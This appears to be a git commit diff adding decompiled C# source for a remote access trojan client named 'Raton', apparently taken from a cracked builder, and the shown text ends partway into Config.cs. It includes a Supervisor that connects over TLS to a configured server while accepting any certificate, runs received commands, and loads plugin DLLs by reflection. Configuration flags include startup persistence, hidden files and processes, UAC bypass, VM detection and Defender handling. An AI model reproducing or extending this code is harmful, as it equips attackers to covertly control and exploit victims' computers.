commit 21b93ff794cae14a3f96841cdd3ec56d8f0be499 Author: i2p Date: Thu Aug 27 11:23:13 2026 -0600 initial commit diff --git a/.DS_Store b/.DS_Store new file mode 100644 index 0000000..5a9a2ae Binary files /dev/null and b/.DS_Store differ diff --git a/Client/.vs/Client/CopilotIndices/18.0.925.419/CodeChunks.db b/Client/.vs/Client/CopilotIndices/18.0.925.419/CodeChunks.db new file mode 100644 index 0000000..d19daf2 Binary files /dev/null and b/Client/.vs/Client/CopilotIndices/18.0.925.419/CodeChunks.db differ diff --git a/Client/.vs/Client/CopilotIndices/18.0.925.419/SemanticSymbols.db b/Client/.vs/Client/CopilotIndices/18.0.925.419/SemanticSymbols.db new file mode 100644 index 0000000..ae9591d Binary files /dev/null and b/Client/.vs/Client/CopilotIndices/18.0.925.419/SemanticSymbols.db differ diff --git a/Client/.vs/Client/FileContentIndex/e8763f13-2f58-4c5d-9db8-1f32cc95a3c1.vsidx b/Client/.vs/Client/FileContentIndex/e8763f13-2f58-4c5d-9db8-1f32cc95a3c1.vsidx new file mode 100644 index 0000000..f5dd09b Binary files /dev/null and b/Client/.vs/Client/FileContentIndex/e8763f13-2f58-4c5d-9db8-1f32cc95a3c1.vsidx differ diff --git a/Client/.vs/Client/v18/.suo b/Client/.vs/Client/v18/.suo new file mode 100644 index 0000000..dbcabf0 Binary files /dev/null and b/Client/.vs/Client/v18/.suo differ diff --git a/Client/.vs/Client/v18/DocumentLayout.backup.json b/Client/.vs/Client/v18/DocumentLayout.backup.json new file mode 100644 index 0000000..637248a --- /dev/null +++ b/Client/.vs/Client/v18/DocumentLayout.backup.json @@ -0,0 +1,73 @@ +{ + "Version": 1, + "WorkspaceRootPath": "C:\\Users\\user\\Desktop\\raton\\Client\\", + "Documents": [ + { + "AbsoluteMoniker": "D:0:0:{4D08A7F5-99A2-4BDC-B33A-E5B701D7B1AE}|Client.csproj|c:\\users\\user\\desktop\\raton\\client\\handlepacket.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}", + "RelativeMoniker": "D:0:0:{4D08A7F5-99A2-4BDC-B33A-E5B701D7B1AE}|Client.csproj|solutionrelative:handlepacket.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}" + } + ], + "DocumentGroupContainers": [ + { + "Orientation": 0, + "VerticalTabListWidth": 256, + "DocumentGroups": [ + { + "DockedWidth": 200, + "SelectedChildIndex": 8, + "Children": [ + { + "$type": "Bookmark", + "Name": "ST:0:0:{b1e99781-ab81-11d0-b683-00aa00a3ee26}" + }, + { + "$type": "Bookmark", + "Name": "ST:0:0:{e5c86464-96be-4d7c-9a8b-abcb3bbf5f92}" + }, + { + "$type": "Bookmark", + "Name": "ST:0:0:{eefa5220-e298-11d0-8f78-00a0c9110057}" + }, + { + "$type": "Bookmark", + "Name": "ST:0:0:{aa2115a1-9712-457b-9047-dbb71ca2cdd2}" + }, + { + "$type": "Bookmark", + "Name": "ST:0:0:{40ea2e6b-2121-4bb8-a43e-c83c04b51041}" + }, + { + "$type": "Bookmark", + "Name": "ST:0:0:{3ae79031-e1bc-11d0-8f78-00a0c9110057}" + }, + { + "$type": "Bookmark", + "Name": "ST:1:0:{d212f56b-c48a-434c-a121-1c5d80b59b9f}" + }, + { + "$type": "Bookmark", + "Name": "ST:0:0:{34e76e81-ee4a-11d0-ae2e-00a0c90fffc3}" + }, + { + "$type": "Document", + "DocumentIndex": 0, + "Title": "HandlePacket.cs", + "DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Client\\HandlePacket.cs", + "RelativeDocumentMoniker": "HandlePacket.cs", + "ToolTip": "C:\\Users\\user\\Desktop\\raton\\Client\\HandlePacket.cs", + "RelativeToolTip": "HandlePacket.cs", + "ViewState": "AgIAAK8AAAAAAAAAAAAwwM0AAAAjAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|", + "WhenOpened": "2026-03-24T18:57:20.727Z", + "EditorCaption": "" + }, + { + "$type": "Bookmark", + "Name": "ST:0:0:{1c64b9c2-e352-428e-a56d-0ace190b99a6}" + } + ] + } + ] + } + ] +} \ No newline at end of file diff --git a/Client/.vs/Client/v18/DocumentLayout.json b/Client/.vs/Client/v18/DocumentLayout.json new file mode 100644 index 0000000..637248a --- /dev/null +++ b/Client/.vs/Client/v18/DocumentLayout.json @@ -0,0 +1,73 @@ +{ + "Version": 1, + "WorkspaceRootPath": "C:\\Users\\user\\Desktop\\raton\\Client\\", + "Documents": [ + { + "AbsoluteMoniker": "D:0:0:{4D08A7F5-99A2-4BDC-B33A-E5B701D7B1AE}|Client.csproj|c:\\users\\user\\desktop\\raton\\client\\handlepacket.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}", + "RelativeMoniker": "D:0:0:{4D08A7F5-99A2-4BDC-B33A-E5B701D7B1AE}|Client.csproj|solutionrelative:handlepacket.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}" + } + ], + "DocumentGroupContainers": [ + { + "Orientation": 0, + "VerticalTabListWidth": 256, + "DocumentGroups": [ + { + "DockedWidth": 200, + "SelectedChildIndex": 8, + "Children": [ + { + "$type": "Bookmark", + "Name": "ST:0:0:{b1e99781-ab81-11d0-b683-00aa00a3ee26}" + }, + { + "$type": "Bookmark", + "Name": "ST:0:0:{e5c86464-96be-4d7c-9a8b-abcb3bbf5f92}" + }, + { + "$type": "Bookmark", + "Name": "ST:0:0:{eefa5220-e298-11d0-8f78-00a0c9110057}" + }, + { + "$type": "Bookmark", + "Name": "ST:0:0:{aa2115a1-9712-457b-9047-dbb71ca2cdd2}" + }, + { + "$type": "Bookmark", + "Name": "ST:0:0:{40ea2e6b-2121-4bb8-a43e-c83c04b51041}" + }, + { + "$type": "Bookmark", + "Name": "ST:0:0:{3ae79031-e1bc-11d0-8f78-00a0c9110057}" + }, + { + "$type": "Bookmark", + "Name": "ST:1:0:{d212f56b-c48a-434c-a121-1c5d80b59b9f}" + }, + { + "$type": "Bookmark", + "Name": "ST:0:0:{34e76e81-ee4a-11d0-ae2e-00a0c90fffc3}" + }, + { + "$type": "Document", + "DocumentIndex": 0, + "Title": "HandlePacket.cs", + "DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Client\\HandlePacket.cs", + "RelativeDocumentMoniker": "HandlePacket.cs", + "ToolTip": "C:\\Users\\user\\Desktop\\raton\\Client\\HandlePacket.cs", + "RelativeToolTip": "HandlePacket.cs", + "ViewState": "AgIAAK8AAAAAAAAAAAAwwM0AAAAjAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|", + "WhenOpened": "2026-03-24T18:57:20.727Z", + "EditorCaption": "" + }, + { + "$type": "Bookmark", + "Name": "ST:0:0:{1c64b9c2-e352-428e-a56d-0ace190b99a6}" + } + ] + } + ] + } + ] +} \ No newline at end of file diff --git a/Client/AssemblyInfo.cs b/Client/AssemblyInfo.cs new file mode 100644 index 0000000..0555c9f --- /dev/null +++ b/Client/AssemblyInfo.cs @@ -0,0 +1,16 @@ +using System.Reflection; +using System.Runtime.InteropServices; +using System.Security.Permissions; + +[assembly: AssemblyTitle("Client")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("Client")] +[assembly: AssemblyCopyright("Copyright © 2026")] +[assembly: AssemblyTrademark("")] +[assembly: ComVisible(false)] +[assembly: Guid("f35dc6cd-26df-457e-9d61-9d6d24c5375c")] +[assembly: AssemblyFileVersion("1.0.0.0")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: SecurityPermission(SecurityAction.RequestMinimum, SkipVerification = true)] diff --git a/Client/Client.csproj b/Client/Client.csproj new file mode 100644 index 0000000..b4d27f2 --- /dev/null +++ b/Client/Client.csproj @@ -0,0 +1,73 @@ + + + + + Debug + AnyCPU + {4D08A7F5-99A2-4BDC-B33A-E5B701D7B1AE} + WinExe + Client + v4.7.2 + 1.0.0.0 + 512 + 10.0 + + + AnyCPU + true + full + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + + + AnyCPU + pdbonly + true + bin\Release\ + TRACE + prompt + 4 + + + + ..\Raton\lib\MessagePackLib.dll + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Client/Client.pdb b/Client/Client.pdb new file mode 100644 index 0000000..350a093 Binary files /dev/null and b/Client/Client.pdb differ diff --git a/Client/Client.sln b/Client/Client.sln new file mode 100644 index 0000000..5ddbc88 --- /dev/null +++ b/Client/Client.sln @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 11.00 +# Visual Studio 2010 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Client", "Client.csproj", "{4D08A7F5-99A2-4BDC-B33A-E5B701D7B1AE}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {4D08A7F5-99A2-4BDC-B33A-E5B701D7B1AE}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {4D08A7F5-99A2-4BDC-B33A-E5B701D7B1AE}.Debug|Any CPU.Build.0 = Debug|Any CPU + {4D08A7F5-99A2-4BDC-B33A-E5B701D7B1AE}.Release|Any CPU.ActiveCfg = Release|Any CPU + {4D08A7F5-99A2-4BDC-B33A-E5B701D7B1AE}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/Client/Client/Properties/Resources.cs b/Client/Client/Properties/Resources.cs new file mode 100644 index 0000000..9208151 --- /dev/null +++ b/Client/Client/Properties/Resources.cs @@ -0,0 +1,46 @@ +// Decompiled with JetBrains decompiler +// Type: Client.Properties.Resources +// Assembly: Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 92DF2D60-35B0-4A06-AFD8-50A246F39510 +// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe + +using System.CodeDom.Compiler; +using System.ComponentModel; +using System.Diagnostics; +using System.Globalization; +using System.Resources; +using System.Runtime.CompilerServices; + +#nullable disable +namespace Client.Properties; + +[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "16.0.0.0")] +[DebuggerNonUserCode] +[CompilerGenerated] +internal class Resources +{ + private static ResourceManager resourceMan; + private static CultureInfo resourceCulture; + + internal Resources() + { + } + + [EditorBrowsable(EditorBrowsableState.Advanced)] + internal static ResourceManager ResourceManager + { + get + { + if (Client.Properties.Resources.resourceMan == null) + Client.Properties.Resources.resourceMan = new ResourceManager("Client.Properties.Resources", typeof (Client.Properties.Resources).Assembly); + return Client.Properties.Resources.resourceMan; + } + } + + [EditorBrowsable(EditorBrowsableState.Advanced)] + internal static CultureInfo Culture + { + get => Client.Properties.Resources.resourceCulture; + set => Client.Properties.Resources.resourceCulture = value; + } +} diff --git a/Client/Client/Properties/Resources.resx b/Client/Client/Properties/Resources.resx new file mode 100644 index 0000000..c7e0d4b --- /dev/null +++ b/Client/Client/Properties/Resources.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/Client/Client/Properties/Settings.cs b/Client/Client/Properties/Settings.cs new file mode 100644 index 0000000..7d09d3f --- /dev/null +++ b/Client/Client/Properties/Settings.cs @@ -0,0 +1,21 @@ +// Decompiled with JetBrains decompiler +// Type: Client.Properties.Settings +// Assembly: Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 92DF2D60-35B0-4A06-AFD8-50A246F39510 +// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe + +using System.CodeDom.Compiler; +using System.Configuration; +using System.Runtime.CompilerServices; + +#nullable disable +namespace Client.Properties; + +[CompilerGenerated] +[GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")] +internal sealed class Settings : ApplicationSettingsBase +{ + private static Settings defaultInstance = (Settings) SettingsBase.Synchronized((SettingsBase) new Settings()); + + public static Settings Default => Settings.defaultInstance; +} diff --git a/Client/Client/Raton/ClientState.cs b/Client/Client/Raton/ClientState.cs new file mode 100644 index 0000000..91de122 --- /dev/null +++ b/Client/Client/Raton/ClientState.cs @@ -0,0 +1,17 @@ +// Decompiled with JetBrains decompiler +// Type: Client.Raton.ClientState +// Assembly: Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 92DF2D60-35B0-4A06-AFD8-50A246F39510 +// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe + +#nullable disable +namespace Client.Raton; + +public enum ClientState +{ + Disconnected, + Connecting, + Connected, + Ready, + Disconnecting, +} diff --git a/Client/Client/Raton/PacketReader.cs b/Client/Client/Raton/PacketReader.cs new file mode 100644 index 0000000..b67925b --- /dev/null +++ b/Client/Client/Raton/PacketReader.cs @@ -0,0 +1,115 @@ +// Decompiled with JetBrains decompiler +// Type: Client.Raton.PacketReader +// Assembly: Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 92DF2D60-35B0-4A06-AFD8-50A246F39510 +// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe + +using System; +using System.Collections.Concurrent; +using System.IO; +using System.Net.Security; +using System.Runtime.CompilerServices; +using System.Threading; +using System.Threading.Tasks; + +#nullable disable +namespace Client.Raton; + +internal class PacketReader : IDisposable +{ + private readonly SslStream stream; + private readonly BlockingCollection queue; + private const int OneMb = 1000000; + private const int TimeoutMs = 30000; + + internal PacketReader(SslStream sslStream, BlockingCollection targetQueue) + { + this.stream = sslStream ?? throw new ArgumentNullException(nameof (sslStream)); + this.queue = targetQueue ?? throw new ArgumentNullException(nameof (targetQueue)); + } + + internal async Task Run(CancellationToken token) + { + byte[] sizeBuf = new byte[4]; + while (!token.IsCancellationRequested) + { + try + { + ConfiguredTaskAwaitable configuredTaskAwaitable = this.ReadExact(sizeBuf, token).ConfigureAwait(false); + await configuredTaskAwaitable; + int int32 = BitConverter.ToInt32(sizeBuf, 0); + if (int32 <= 0 || int32 > 5000000) + { + this.LogError($"Invalid packet size: {int32}"); + throw new IOException("Invalid packet size"); + } + byte[] payload = new byte[int32]; + configuredTaskAwaitable = this.ReadExact(payload, token).ConfigureAwait(false); + await configuredTaskAwaitable; + if (!this.queue.IsAddingCompleted) + this.queue.Add(payload, token); + payload = (byte[]) null; + } + catch (OperationCanceledException ex) + { + sizeBuf = (byte[]) null; + return; + } + catch (IOException ex) + { + this.LogError("Read error: " + ex.Message); + sizeBuf = (byte[]) null; + return; + } + catch (Exception ex) + { + this.LogError("Unexpected error in PacketReader: " + ex.Message); + sizeBuf = (byte[]) null; + return; + } + } + sizeBuf = (byte[]) null; + } + + private async Task ReadExact(byte[] buffer, CancellationToken token) + { + int num; + using (CancellationTokenSource timeoutCts = new CancellationTokenSource(30000)) + { + using (CancellationTokenSource linkedCts = CancellationTokenSource.CreateLinkedTokenSource(token, timeoutCts.Token)) + { + for (int read = 0; read < buffer.Length; read += num) + { + linkedCts.Token.ThrowIfCancellationRequested(); + num = await this.stream.ReadAsync(buffer, read, buffer.Length - read, linkedCts.Token).ConfigureAwait(false); + if (num == 0) + throw new IOException("Connection closed by remote"); + } + } + } + } + + private void LogError(string message) + { + try + { + Console.WriteLine(string.Format("[PacketReader] {0:HH:mm:ss} - {1}", (object) DateTime.Now, (object) message)); + } + catch + { + } + } + + internal void Stop() + { + try + { + this.queue.CompleteAdding(); + } + catch + { + } + } + + public void Dispose() => this.Stop(); +} diff --git a/Client/Client/Raton/PacketSender.cs b/Client/Client/Raton/PacketSender.cs new file mode 100644 index 0000000..6aa1d87 --- /dev/null +++ b/Client/Client/Raton/PacketSender.cs @@ -0,0 +1,97 @@ +// Decompiled with JetBrains decompiler +// Type: Client.Raton.PacketSender +// Assembly: Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 92DF2D60-35B0-4A06-AFD8-50A246F39510 +// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe + +using System; +using System.IO; +using System.Net.Security; +using System.Runtime.CompilerServices; +using System.Threading; +using System.Threading.Tasks; + +#nullable disable +namespace Client.Raton; + +internal class PacketSender : IDisposable +{ + private readonly SslStream stream; + private readonly SemaphoreSlim sendLock = new SemaphoreSlim(1, 1); + private const int TimeoutMs = 30000; + + internal PacketSender(SslStream sslStream) + { + this.stream = sslStream ?? throw new ArgumentNullException(nameof (sslStream)); + } + + internal async Task Send(byte[] data) + { + if (data == null || data.Length == 0) + return; + await this.sendLock.WaitAsync().ConfigureAwait(false); + try + { + using (CancellationTokenSource timeoutCts = new CancellationTokenSource(30000)) + { + byte[] bytes = BitConverter.GetBytes(data.Length); + ConfiguredTaskAwaitable configuredTaskAwaitable = this.stream.WriteAsync(bytes, 0, bytes.Length, timeoutCts.Token).ConfigureAwait(false); + await configuredTaskAwaitable; + int chunk; + for (int offset = 0; offset < data.Length; offset += chunk) + { + chunk = Math.Min(65536 /*0x010000*/, data.Length - offset); + configuredTaskAwaitable = this.stream.WriteAsync(data, offset, chunk, timeoutCts.Token).ConfigureAwait(false); + await configuredTaskAwaitable; + } + configuredTaskAwaitable = this.stream.FlushAsync(timeoutCts.Token).ConfigureAwait(false); + await configuredTaskAwaitable; + } + } + catch (OperationCanceledException ex) + { + this.LogError("Send timeout"); + throw new IOException("Send timeout"); + } + catch (UnauthorizedAccessException ex) + { + this.LogError("Send unauthorized (Administrator)"); + throw new IOException("Send error"); + } + catch (IOException ex) + { + throw; + } + catch (Exception ex) + { + this.LogError("Send error: " + ex.Message); + throw new IOException("Send failed: " + ex.Message, ex); + } + finally + { + this.sendLock.Release(); + } + } + + private void LogError(string message) + { + try + { + Console.WriteLine(string.Format("[PacketSender] {0:HH:mm:ss} - {1}", (object) DateTime.Now, (object) message)); + } + catch + { + } + } + + public void Dispose() + { + try + { + this.sendLock?.Dispose(); + } + catch + { + } + } +} diff --git a/Client/Client/Raton/Protocol.cs b/Client/Client/Raton/Protocol.cs new file mode 100644 index 0000000..e74ce54 --- /dev/null +++ b/Client/Client/Raton/Protocol.cs @@ -0,0 +1,15 @@ +// Decompiled with JetBrains decompiler +// Type: Client.Raton.Protocol +// Assembly: Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 92DF2D60-35B0-4A06-AFD8-50A246F39510 +// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe + +#nullable disable +namespace Client.Raton; + +public static class Protocol +{ + public const int OneMb = 1048576 /*0x100000*/; + public const int MaxPacketSize = 5242880 /*0x500000*/; + public const int SizeHeaderLength = 4; +} diff --git a/Client/Client/Raton/Supervisor.cs b/Client/Client/Raton/Supervisor.cs new file mode 100644 index 0000000..7fe92f1 --- /dev/null +++ b/Client/Client/Raton/Supervisor.cs @@ -0,0 +1,302 @@ +// Decompiled with JetBrains decompiler +// Type: Client.Raton.Supervisor +// Assembly: Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 92DF2D60-35B0-4A06-AFD8-50A246F39510 +// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe + +using Stuff; +using System; +using System.Collections.Concurrent; +using System.IO; +using System.Net; +using System.Net.Security; +using System.Net.Sockets; +using System.Reflection; +using System.Threading; +using System.Threading.Tasks; + +#nullable disable +namespace Client.Raton; + +internal class Supervisor +{ + private readonly SillyClient owner; + private CancellationTokenSource cts; + private Task loopTask; + private TcpClient tcpClient; + private SslStream sslStream; + + internal PacketReader Reader { get; private set; } + + internal PacketSender Sender { get; private set; } + + internal ClientState State { get; private set; } + + internal Supervisor(SillyClient client) => this.owner = client; + + internal void Start() + { + if (this.loopTask != null && !this.loopTask.IsCompleted) + return; + this.cts = new CancellationTokenSource(); + this.loopTask = Task.Run((Func) (() => this.Run(this.cts.Token))); + } + + internal void Stop() + { + this.State = ClientState.Disconnecting; + this.cts?.Cancel(); + this.Cleanup(); + this.State = ClientState.Disconnected; + } + + private async Task Run(CancellationToken token) + { + Supervisor supervisor1 = this; + int backoff = Config.Reconnect; + while (!token.IsCancellationRequested) + { + try + { + Supervisor supervisor = supervisor1; + supervisor1.State = ClientState.Connecting; + supervisor1.LogInfo("Connecting to server..."); + BlockingCollection packetQueue = await supervisor1.OpenConnection(token).ConfigureAwait(false); + supervisor1.State = ClientState.Connected; + backoff = Config.Delay; + supervisor1.LogInfo("Connected successfully"); + supervisor1.InfoStuff(); + CancellationTokenSource processCts = CancellationTokenSource.CreateLinkedTokenSource(token); + Task processorTask = Task.Run((Action) (() => + { + try + { + foreach (byte[] consuming in packetQueue.GetConsumingEnumerable(processCts.Token)) + { + try + { + supervisor.owner.HandlePacket.Run(consuming); + } + catch (Exception ex) + { + supervisor.LogError("Packet handling error: " + ex.Message); + } + } + } + catch (OperationCanceledException ex) + { + } + catch (Exception ex) + { + supervisor.LogError("Processor task error: " + ex.Message); + } + }), processCts.Token); + await supervisor1.Reader.Run(processCts.Token).ConfigureAwait(false); + supervisor1.LogInfo("Connection lost, cleaning up..."); + processCts.Cancel(); + try + { + await processorTask.ConfigureAwait(false); + } + catch + { + } + processorTask = (Task) null; + } + catch (OperationCanceledException ex) + { + supervisor1.LogInfo("Supervisor cancelled"); + break; + } + catch (Exception ex) + { + supervisor1.LogError("Connection error: " + ex.Message); + supervisor1.Cleanup(); + supervisor1.State = ClientState.Disconnected; + try + { + supervisor1.LogInfo($"Reconnecting in {backoff}ms..."); + await Task.Delay(backoff, token).ConfigureAwait(false); + } + catch + { + } + backoff = Math.Min(backoff * 2, 15000); + } + } + supervisor1.Cleanup(); + supervisor1.LogInfo("Supervisor stopped"); + } + + private async Task InfoStuff() + { + if (this.owner.HandlePacket != null && this.owner.HandlePacket.IsDllLoaded) + { + if (this.owner.HandlePacket.DllAssembly != (Assembly) null) + { + try + { + MethodInfo method = this.owner.HandlePacket.DllAssembly.GetType("Core.EntryPoint", false, true)?.GetMethod("SendInfo", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public); + if (method != (MethodInfo) null) + { + ClientBridge clientBridge = new ClientBridge(this.owner); + method.Invoke((object) null, new object[1] + { + (object) clientBridge + }); + return; + } + } + catch (Exception ex) + { + this.LogError("InfoStuff DLL error: " + ex.Message); + } + } + } + Pack pack = new Pack(); + pack.SetString("Packet", "DLLStart"); + this.Send(pack.Pacc()); + } + + private async Task> OpenConnection(CancellationToken token) + { + string host; + int port; + this.ResolveHostAndPort(out host, out port); + IPAddress[] hostAddressesAsync = await Dns.GetHostAddressesAsync(host); + Array.Sort(hostAddressesAsync, (Comparison) ((a, b) => a.AddressFamily != AddressFamily.InterNetwork ? 1 : -1)); + Exception exception = (Exception) null; + IPAddress[] ipAddressArray = hostAddressesAsync; + for (int index = 0; index < ipAddressArray.Length; ++index) + { + IPAddress address = ipAddressArray[index]; + BlockingCollection blockingCollection; + try + { + this.tcpClient = new TcpClient(address.AddressFamily); + if (address.AddressFamily == AddressFamily.InterNetworkV6) + this.tcpClient.Client.SetSocketOption(SocketOptionLevel.IPv6, SocketOptionName.IPv6Only, false); + this.tcpClient.NoDelay = true; + Supervisor.SetKeepAlive(this.tcpClient.Client, 25000U, 25000U); + this.LogInfo($"Attempting connection to {address}:{port}..."); + Task connectTask = this.tcpClient.ConnectAsync(address, port); + Task task = Task.Delay(10000, token); + if (await Task.WhenAny(connectTask, task) != connectTask) + throw new TimeoutException("Connection timeout"); + this.sslStream = new SslStream((Stream) this.tcpClient.GetStream(), false, (RemoteCertificateValidationCallback) ((sender, cert, chain, errors) => true)); + await this.sslStream.AuthenticateAsClientAsync(host); + BlockingCollection targetQueue = new BlockingCollection((IProducerConsumerCollection) new ConcurrentQueue(), 5000); + this.Reader = new PacketReader(this.sslStream, targetQueue); + this.Sender = new PacketSender(this.sslStream); + this.LogInfo("SSL authentication successful"); + blockingCollection = targetQueue; + } + catch (Exception ex) + { + this.LogError("Connection attempt failed: " + ex.Message); + exception = ex; + this.Cleanup(); + continue; + } + host = (string) null; + return blockingCollection; + } + ipAddressArray = (IPAddress[]) null; + throw exception ?? new Exception("Unable to connect"); + } + + private static void SetKeepAlive(Socket socket, uint timeMs, uint intervalMs) + { + byte[] optionInValue = new byte[12]; + BitConverter.GetBytes(1U).CopyTo((Array) optionInValue, 0); + BitConverter.GetBytes(timeMs).CopyTo((Array) optionInValue, 4); + BitConverter.GetBytes(intervalMs).CopyTo((Array) optionInValue, 8); + socket.IOControl(IOControlCode.KeepAliveValues, optionInValue, (byte[]) null); + } + + private void Cleanup() + { + try + { + this.Reader?.Dispose(); + } + catch + { + } + try + { + this.Sender?.Dispose(); + } + catch + { + } + try + { + this.sslStream?.Dispose(); + } + catch + { + } + try + { + this.tcpClient?.Dispose(); + } + catch + { + } + this.Reader = (PacketReader) null; + this.Sender = (PacketSender) null; + this.sslStream = (SslStream) null; + this.tcpClient = (TcpClient) null; + } + + private void ResolveHostAndPort(out string host, out int port) + { + host = Config.ht; + port = Config.pt; + if (string.IsNullOrWhiteSpace(host)) + return; + string str1 = host.Trim(); + if (str1.StartsWith("http://", StringComparison.OrdinalIgnoreCase)) + str1 = str1.Substring(7); + else if (str1.StartsWith("https://", StringComparison.OrdinalIgnoreCase)) + str1 = str1.Substring(8); + int length = str1.LastIndexOf(':'); + if (length <= 0 || length >= str1.Length - 1) + return; + string str2 = str1.Substring(0, length); + int result; + if (!int.TryParse(str1.Substring(length + 1), out result)) + return; + host = str2; + port = result; + } + + internal Task Send(byte[] data) + { + PacketSender sender = this.Sender; + return sender == null ? Task.CompletedTask : sender.Send(data); + } + + private void LogInfo(string message) + { + try + { + Console.WriteLine(string.Format("[Supervisor] {0:HH:mm:ss} - {1}", (object) DateTime.Now, (object) message)); + } + catch + { + } + } + + private void LogError(string message) + { + try + { + Console.WriteLine(string.Format("[Supervisor ERROR] {0:HH:mm:ss} - {1}", (object) DateTime.Now, (object) message)); + } + catch + { + } + } +} diff --git a/Client/ClientBridge.cs b/Client/ClientBridge.cs new file mode 100644 index 0000000..b620487 --- /dev/null +++ b/Client/ClientBridge.cs @@ -0,0 +1,94 @@ +// Decompiled with JetBrains decompiler +// Type: ClientBridge +// Assembly: Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 92DF2D60-35B0-4A06-AFD8-50A246F39510 +// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe + +using Stuff; + +#nullable disable +public class ClientBridge : IClientBridge +{ + private readonly SillyClient _client; + + public string UID { get; private set; } + + public ClientBridge(SillyClient client) + { + this._client = client; + this.Version = Config.Version; + this.Mutex = Config.Mutex; + this.Port = Config.pt; + this.Host = Config.ht; + this.Startup = Config.Startup; + this.Delay = Config.Delay; + this.ProcessCritical = Config.ProcessCritical; + this.HideFile = Config.HideFile; + this.Box = Config.Box; + this.BoxMsg = Config.BoxMsg; + this.BoxIcon = Config.BoxIcon; + this.UAC = Config.UAC; + this.Assist = Config.Assist; + this.OpenWebsite = Config.OpenWebsite; + this.Website = Config.Website; + this.VM = Config.VM; + this.Tag = Config.Tag; + this.BoxTit = Config.BoxTit; + this.HidProc = Config.HidProc; + this.UACBy = Config.UACBy; + this.Password = Config.Password; + this.Raw = Config.Raw; + this.Reconnect = Config.Reconnect; + this.Defender = Config.Defender; + } + + public void Send(byte[] data) => this._client.Send(data); + + public string Version { get; } + + public string Mutex { get; } + + public int Port { get; } + + public string Host { get; } + + public bool Startup { get; } + + public int Delay { get; } + + public bool ProcessCritical { get; } + + public bool HideFile { get; } + + public bool Box { get; } + + public string BoxMsg { get; } + + public string BoxIcon { get; } + + public bool UAC { get; } + + public bool Assist { get; } + + public bool OpenWebsite { get; } + + public string Website { get; } + + public bool VM { get; } + + public string Tag { get; } + + public string BoxTit { get; } + + public bool HidProc { get; } + + public bool UACBy { get; } + + public string Password { get; } + + public string Raw { get; } + + public int Reconnect { get; } + + public bool Defender { get; } +} diff --git a/Client/Client_ProcessedByFody.cs b/Client/Client_ProcessedByFody.cs new file mode 100644 index 0000000..f04366a --- /dev/null +++ b/Client/Client_ProcessedByFody.cs @@ -0,0 +1,12 @@ +// Decompiled with JetBrains decompiler +// Type: Client_ProcessedByFody +// Assembly: Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 92DF2D60-35B0-4A06-AFD8-50A246F39510 +// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe + +#nullable disable +internal class Client_ProcessedByFody +{ + internal const string FodyVersion = "6.9.3.0"; + internal const string Costura = "6.0.0"; +} diff --git a/Client/Config.cs b/Client/Config.cs new file mode 100644 index 0000000..8f9e06c --- /dev/null +++ b/Client/Config.cs @@ -0,0 +1,36 @@ +// Decompiled with JetBrains decompiler +// Type: Config +// Assembly: Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// 